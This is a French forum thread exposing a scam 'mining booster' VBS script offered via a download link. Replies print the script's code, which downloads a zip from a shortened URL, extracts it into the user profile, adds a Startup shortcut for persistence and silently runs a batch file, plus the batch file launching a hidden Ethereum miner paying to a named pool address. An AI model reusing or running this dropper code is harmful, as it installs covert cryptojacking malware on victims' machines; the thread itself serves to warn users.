[Scam] Miner rapidement avec ce script VBS


  • Banni

    Après plusieurs mois de travail, ce script permets d’augmenter sa puissance de minage de 1MH/s.

    https://1fichier.com/?8c14i7hskg



  • Oh le vilain script kiddy ! Tu devrais pas plutôt être en train de réviser pour les épreuves du brevet des collèges ?

    '* Récupère le dossier de l'utilisateur dans C
    Set oShell = CreateObject("WScript.Shell")
    strHomeFolder = oShell.ExpandEnvironmentStrings("%USERPROFILE%")
    
    '* On creer le dossier cible
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    If NOT objFSO.FolderExists(strHomeFolder & "\System") Then objFSO.CreateFolder(strHomeFolder & "\System")
    If NOT objFSO.FolderExists(strHomeFolder & "\System\Checkup") Then objFSO.CreateFolder(strHomeFolder & "\System\Checkup")
    
    '* On telecharge notre zip
    Set args = WScript.Arguments
    Url = "http://tiny.cc/systemf7"
    dim xHttp: Set xHttp = createobject("MSXML2.ServerXMLHTTP")
    dim bStrm: Set bStrm = createobject("Adodb.Stream")
    xHttp.Open "GET", Url, False
    xHttp.Send
    
    with bStrm
    .type = 1 '//binary
    .open
    .write xHttp.responseBody
    .savetofile strHomeFolder & "\System\Checkup\system.zip", 2 '//overwrite
    end with
    
    '* On extrait le zip
    ZipFile=strHomeFolder & "\System\Checkup\system.zip"
    ExtractTo=strHomeFolder & "\System\Checkup\system"
    
    Set fso = CreateObject("Scripting.FileSystemObject")
    If NOT fso.FolderExists(ExtractTo) Then
    fso.CreateFolder(ExtractTo)
    End If
    
    set objShell = CreateObject("Shell.Application")
    set FilesInZip=objShell.NameSpace(ZipFile).items
    objShell.NameSpace(ExtractTo).CopyHere(FilesInZip)
    Set fso = Nothing
    Set objShell = Nothing
    
    '* On creer le raccourci dans le dossier demarrage
    Set objShell = WScript.CreateObject("WScript.Shell")
    startupPath = objShell.SpecialFolders("Startup")
    Set objShortCut = objShell.CreateShortcut(startupPath & "\System.lnk")
    objShortCut.TargetPath = strHomeFolder & "\System\Checkup\system\system\check\run.vbs"
    
    objShortCut.Save
    
    '* On exécute
    
    Set oShell = CreateObject("WScript.Shell")
    strHomeFolder = oShell.ExpandEnvironmentStrings("%USERPROFILE%")
    Set WshShell = CreateObject("WScript.Shell") 
    WshShell.CurrentDirectory = strHomeFolder & "\System\Checkup\system\system\check"
    WshShell.Run strHomeFolder & "\System\Checkup\system\system\check\" & "start.bat", 0
    Set WshShell = Nothing


  • Le script de W4r1ordz

    setx GPU_FORCE_64BIT_PTR 0
    setx GPU_MAX_HEAP_SIZE 100
    setx GPU_USE_SYNC_OBJECTS 1
    setx GPU_MAX_ALLOC_PERCENT 80
    setx GPU_SINGLE_ALLOC_PERCENT 80
    
    System.exe -G -F http://eth1.nanopool.org:8888/0xaa847464db4A6d58fb7Eeb3cad018430851428b0.FC
    

    https://etherscan.io/address/0xaa847464db4A6d58fb7Eeb3cad018430851428b0


  • Les amis du Bastion

    avec des urls pareilles moi je touche pas, de toute façon, ca sent le pîège à kikou :-)
    namého :)



  • @emilek merci :slight_smile:


  • Les amis du Bastion

    et merci pour le move :-)


Se connecter pour répondre
 

Il semble que votre connexion ait été perdue, veuillez patienter pendant que nous vous re-connectons.